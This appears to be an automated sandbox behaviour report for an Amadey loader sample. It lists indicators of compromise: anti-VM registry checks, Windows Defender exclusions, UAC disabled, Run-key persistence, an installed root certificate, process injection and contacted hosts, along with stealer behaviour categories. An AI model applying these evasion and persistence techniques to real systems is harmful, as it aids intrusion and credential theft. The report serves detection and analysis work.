amadey | 8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046

Processes:

file300un.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe = "0"	file300un.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 9 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe2fcfdfb657.exeaxplont.exea04151f4dd.exeaxplont.exeexplortu.exeexplortu.exeaxplont.exeexplortu.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2fcfdfb657.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a04151f4dd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplont.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

116 1568 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

5556 powershell.exe
1568 powershell.exe
Downloads MZ/PE file
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

5268 netsh.exe
4280 netsh.exe

flow	pid	process
116	1568	powershell.exe

pid	process
5556	powershell.exe
1568	powershell.exe

pid	process
5268	netsh.exe
4280	netsh.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

2fcfdfb657.exeaxplont.exeaxplont.exeexplortu.exe8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exeaxplont.exeexplortu.exea04151f4dd.exeexplortu.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2fcfdfb657.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2fcfdfb657.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a04151f4dd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a04151f4dd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplont.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

axplont.exeRegAsm.exe9a3efc.exefile300un.exe8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exeexplortu.exe2fcfdfb657.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	axplont.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	9a3efc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	file300un.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	explortu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	2fcfdfb657.exe

Executes dropped EXE 23 IoCs

Processes:

explortu.exe2fcfdfb657.exeaxplont.exea04151f4dd.exe33333.exelumma1234.exeOne.exesvhoost.exegold.exeswizzzz.exebuildjudit.exestub.exesmartsoftsignew.exeputty.exefile300un.exe9a3efc.exenewbild.exeaxplont.exeexplortu.exePresident.pifPresident.pifaxplont.exeexplortu.exe

pid	process
4536	explortu.exe
3804	2fcfdfb657.exe
4428	axplont.exe
828	a04151f4dd.exe
1436	33333.exe
1632	lumma1234.exe
1260	One.exe
756	svhoost.exe
4872	gold.exe
4348	swizzzz.exe
4684	buildjudit.exe
2040	stub.exe
4636	smartsoftsignew.exe
1244	putty.exe
1312	file300un.exe
5224	9a3efc.exe
5564	newbild.exe
2676	axplont.exe
6084	explortu.exe
5896	President.pif
6060	President.pif
944	axplont.exe
1888	explortu.exe

Identifies Wine through registry keys 2 TTPs 9 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exeexplortu.exeaxplont.exe2fcfdfb657.exea04151f4dd.exeaxplont.exeexplortu.exeaxplont.exeexplortu.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	2fcfdfb657.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	a04151f4dd.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	axplont.exe
Key opened	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Software\Wine	explortu.exe

Loads dropped DLL 37 IoCs

Processes:

RegAsm.exestub.exesmartsoftsignew.exe

pid	process
3016	RegAsm.exe
3016	RegAsm.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
2040	stub.exe
4636	smartsoftsignew.exe
4636	smartsoftsignew.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Windows security modification 2 TTPs 3 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

file300un.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file300un.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\1000047001\file300un.exe = "0"	file300un.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

explortu.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\a04151f4dd.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000005001\\a04151f4dd.exe"	explortu.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

file300un.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

120 iplogger.com
124 iplogger.com
94 raw.githubusercontent.com
96 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

92 ip-api.com

flow	ioc
120	iplogger.com
124	iplogger.com
94	raw.githubusercontent.com
96	raw.githubusercontent.com

flow	ioc
92	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs

Processes:

8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exeexplortu.exe2fcfdfb657.exeaxplont.exea04151f4dd.exeaxplont.exeexplortu.exeexplortu.exeaxplont.exe

pid	process
4664	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
4536	explortu.exe
3804	2fcfdfb657.exe
4428	axplont.exe
828	a04151f4dd.exe
2676	axplont.exe
6084	explortu.exe
1888	explortu.exe
944	axplont.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

33333.exelumma1234.exegold.exeswizzzz.exefile300un.exePresident.pif

description	pid	process	target process
PID 1436 set thread context of 4608	1436	33333.exe	RegAsm.exe
PID 1632 set thread context of 3664	1632	lumma1234.exe	RegAsm.exe
PID 4872 set thread context of 3748	4872	gold.exe	RegAsm.exe
PID 4348 set thread context of 3016	4348	swizzzz.exe	RegAsm.exe
PID 1312 set thread context of 5596	1312	file300un.exe	regsvcs.exe
PID 5896 set thread context of 6060	5896	President.pif	President.pif

Drops file in Windows directory 2 IoCs

Processes:

8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe2fcfdfb657.exe

description	ioc	process
File created	C:\Windows\Tasks\explortu.job	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
File created	C:\Windows\Tasks\axplont.job	2fcfdfb657.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

5140 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

1124 1436 WerFault.exe 33333.exe
4824 4872 WerFault.exe gold.exe
5868 5596 WerFault.exe regsvcs.exe

pid	process
5140	sc.exe

pid	pid_target	process	target process
1124	1436	WerFault.exe	33333.exe
4824	4872	WerFault.exe	gold.exe
5868	5596	WerFault.exe	regsvcs.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

President.pif

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	President.pif
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	President.pif
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	President.pif

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

RegAsm.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe

Collects information from the system 1 TTPs 1 IoCs
Uses WMIC.exe to find detailed system information.

Data from Local System
T1005

Processes:

WMIC.exe

pid process

1632 WMIC.exe
Enumerates processes with tasklist 1 TTPs 5 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exetasklist.exe

pid process

6016 tasklist.exe
3464 tasklist.exe
2876 tasklist.exe
3664 tasklist.exe
2872 tasklist.exe

pid	process
1632	WMIC.exe

pid	process
6016	tasklist.exe
3464	tasklist.exe
2876	tasklist.exe
3664	tasklist.exe
2872	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.

System Information Discovery
T1082

Command and Scripting Interpreter
T1059

Processes:

ipconfig.exeNETSTAT.EXE

pid process

6076 ipconfig.exe
364 NETSTAT.EXE
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

1692 systeminfo.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4496 taskkill.exe

pid	process
6076	ipconfig.exe
364	NETSTAT.EXE

pid	process
1692	systeminfo.exe

pid	process
4496	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

svhoost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	svhoost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	svhoost.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

548 PING.EXE

pid	process
548	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exeexplortu.exe2fcfdfb657.exeaxplont.exea04151f4dd.exeRegAsm.exeOne.exepowershell.exepowershell.exemsedge.exemsedge.exesvhoost.exepowershell.exeaxplont.exeexplortu.exePresident.pifnewbild.exe

pid	process
4664	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
4664	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe
4536	explortu.exe
4536	explortu.exe
3804	2fcfdfb657.exe
3804	2fcfdfb657.exe
4428	axplont.exe
4428	axplont.exe
828	a04151f4dd.exe
828	a04151f4dd.exe
3016	RegAsm.exe
3016	RegAsm.exe
1260	One.exe
1260	One.exe
3016	RegAsm.exe
3016	RegAsm.exe
4588	powershell.exe
4588	powershell.exe
4588	powershell.exe
1568	powershell.exe
1568	powershell.exe
1568	powershell.exe
5152	msedge.exe
5152	msedge.exe
2960	msedge.exe
2960	msedge.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
756	svhoost.exe
5556	powershell.exe
5556	powershell.exe
5556	powershell.exe
2676	axplont.exe
2676	axplont.exe
6084	explortu.exe
6084	explortu.exe
5896	President.pif
5896	President.pif
5896	President.pif
5896	President.pif
5896	President.pif
5896	President.pif
5564	newbild.exe
5564	newbild.exe
5564	newbild.exe
5564	newbild.exe
5564	newbild.exe
5564	newbild.exe
5564	newbild.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

Processes:

msedge.exe

pid process

2960 msedge.exe
2960 msedge.exe
2960 msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

One.exeWMIC.exetasklist.exetaskkill.exetasklist.exepowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1260	One.exe
Token: SeBackupPrivilege	1260	One.exe
Token: SeSecurityPrivilege	1260	One.exe
Token: SeSecurityPrivilege	1260	One.exe
Token: SeSecurityPrivilege	1260	One.exe
Token: SeSecurityPrivilege	1260	One.exe
Token: SeIncreaseQuotaPrivilege	4484	WMIC.exe
Token: SeSecurityPrivilege	4484	WMIC.exe
Token: SeTakeOwnershipPrivilege	4484	WMIC.exe
Token: SeLoadDriverPrivilege	4484	WMIC.exe
Token: SeSystemProfilePrivilege	4484	WMIC.exe
Token: SeSystemtimePrivilege	4484	WMIC.exe
Token: SeProfSingleProcessPrivilege	4484	WMIC.exe
Token: SeIncBasePriorityPrivilege	4484	WMIC.exe
Token: SeCreatePagefilePrivilege	4484	WMIC.exe
Token: SeBackupPrivilege	4484	WMIC.exe
Token: SeRestorePrivilege	4484	WMIC.exe
Token: SeShutdownPrivilege	4484	WMIC.exe
Token: SeDebugPrivilege	4484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4484	WMIC.exe
Token: SeRemoteShutdownPrivilege	4484	WMIC.exe
Token: SeUndockPrivilege	4484	WMIC.exe
Token: SeManageVolumePrivilege	4484	WMIC.exe
Token: 33	4484	WMIC.exe
Token: 34	4484	WMIC.exe
Token: 35	4484	WMIC.exe
Token: 36	4484	WMIC.exe
Token: SeDebugPrivilege	3664	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4484	WMIC.exe
Token: SeSecurityPrivilege	4484	WMIC.exe
Token: SeTakeOwnershipPrivilege	4484	WMIC.exe
Token: SeLoadDriverPrivilege	4484	WMIC.exe
Token: SeSystemProfilePrivilege	4484	WMIC.exe
Token: SeSystemtimePrivilege	4484	WMIC.exe
Token: SeProfSingleProcessPrivilege	4484	WMIC.exe
Token: SeIncBasePriorityPrivilege	4484	WMIC.exe
Token: SeCreatePagefilePrivilege	4484	WMIC.exe
Token: SeBackupPrivilege	4484	WMIC.exe
Token: SeRestorePrivilege	4484	WMIC.exe
Token: SeShutdownPrivilege	4484	WMIC.exe
Token: SeDebugPrivilege	4484	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4484	WMIC.exe
Token: SeRemoteShutdownPrivilege	4484	WMIC.exe
Token: SeUndockPrivilege	4484	WMIC.exe
Token: SeManageVolumePrivilege	4484	WMIC.exe
Token: 33	4484	WMIC.exe
Token: 34	4484	WMIC.exe
Token: 35	4484	WMIC.exe
Token: 36	4484	WMIC.exe
Token: SeDebugPrivilege	4496	taskkill.exe
Token: SeDebugPrivilege	2872	tasklist.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeIncreaseQuotaPrivilege	1632	WMIC.exe
Token: SeSecurityPrivilege	1632	WMIC.exe
Token: SeTakeOwnershipPrivilege	1632	WMIC.exe
Token: SeLoadDriverPrivilege	1632	WMIC.exe
Token: SeSystemProfilePrivilege	1632	WMIC.exe
Token: SeSystemtimePrivilege	1632	WMIC.exe
Token: SeProfSingleProcessPrivilege	1632	WMIC.exe
Token: SeIncBasePriorityPrivilege	1632	WMIC.exe
Token: SeCreatePagefilePrivilege	1632	WMIC.exe
Token: SeBackupPrivilege	1632	WMIC.exe
Token: SeRestorePrivilege	1632	WMIC.exe

Suspicious use of FindShellTrayWindow 29 IoCs

Processes:

2fcfdfb657.exemsedge.exePresident.pif

pid	process
3804	2fcfdfb657.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
5896	President.pif
5896	President.pif
5896	President.pif

Suspicious use of SendNotifyMessage 27 IoCs

Processes:

msedge.exePresident.pif

pid	process
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
2960	msedge.exe
5896	President.pif
5896	President.pif
5896	President.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exeexplortu.exe2fcfdfb657.exeaxplont.exe33333.exeRegAsm.exelumma1234.exegold.exeswizzzz.exe

description	pid	process	target process
PID 4664 wrote to memory of 4536	4664	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe	explortu.exe
PID 4664 wrote to memory of 4536	4664	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe	explortu.exe
PID 4664 wrote to memory of 4536	4664	8769d025a5e9971e0a5f603608a2c5c2cf6afddae5a628d15310aec853c3c046.exe	explortu.exe
PID 4536 wrote to memory of 2648	4536	explortu.exe	explortu.exe
PID 4536 wrote to memory of 2648	4536	explortu.exe	explortu.exe
PID 4536 wrote to memory of 2648	4536	explortu.exe	explortu.exe
PID 4536 wrote to memory of 3804	4536	explortu.exe	2fcfdfb657.exe
PID 4536 wrote to memory of 3804	4536	explortu.exe	2fcfdfb657.exe
PID 4536 wrote to memory of 3804	4536	explortu.exe	2fcfdfb657.exe
PID 3804 wrote to memory of 4428	3804	2fcfdfb657.exe	axplont.exe
PID 3804 wrote to memory of 4428	3804	2fcfdfb657.exe	axplont.exe
PID 3804 wrote to memory of 4428	3804	2fcfdfb657.exe	axplont.exe
PID 4536 wrote to memory of 828	4536	explortu.exe	a04151f4dd.exe
PID 4536 wrote to memory of 828	4536	explortu.exe	a04151f4dd.exe
PID 4536 wrote to memory of 828	4536	explortu.exe	a04151f4dd.exe
PID 4428 wrote to memory of 1436	4428	axplont.exe	33333.exe
PID 4428 wrote to memory of 1436	4428	axplont.exe	33333.exe
PID 4428 wrote to memory of 1436	4428	axplont.exe	33333.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 1436 wrote to memory of 4608	1436	33333.exe	RegAsm.exe
PID 4428 wrote to memory of 1632	4428	axplont.exe	lumma1234.exe
PID 4428 wrote to memory of 1632	4428	axplont.exe	lumma1234.exe
PID 4428 wrote to memory of 1632	4428	axplont.exe	lumma1234.exe
PID 4608 wrote to memory of 1260	4608	RegAsm.exe	One.exe
PID 4608 wrote to memory of 1260	4608	RegAsm.exe	One.exe
PID 4608 wrote to memory of 756	4608	RegAsm.exe	svhoost.exe
PID 4608 wrote to memory of 756	4608	RegAsm.exe	svhoost.exe
PID 4608 wrote to memory of 756	4608	RegAsm.exe	svhoost.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
PID 1632 wrote to memory of 3664	1632	lumma1234.exe	RegAsm.exe
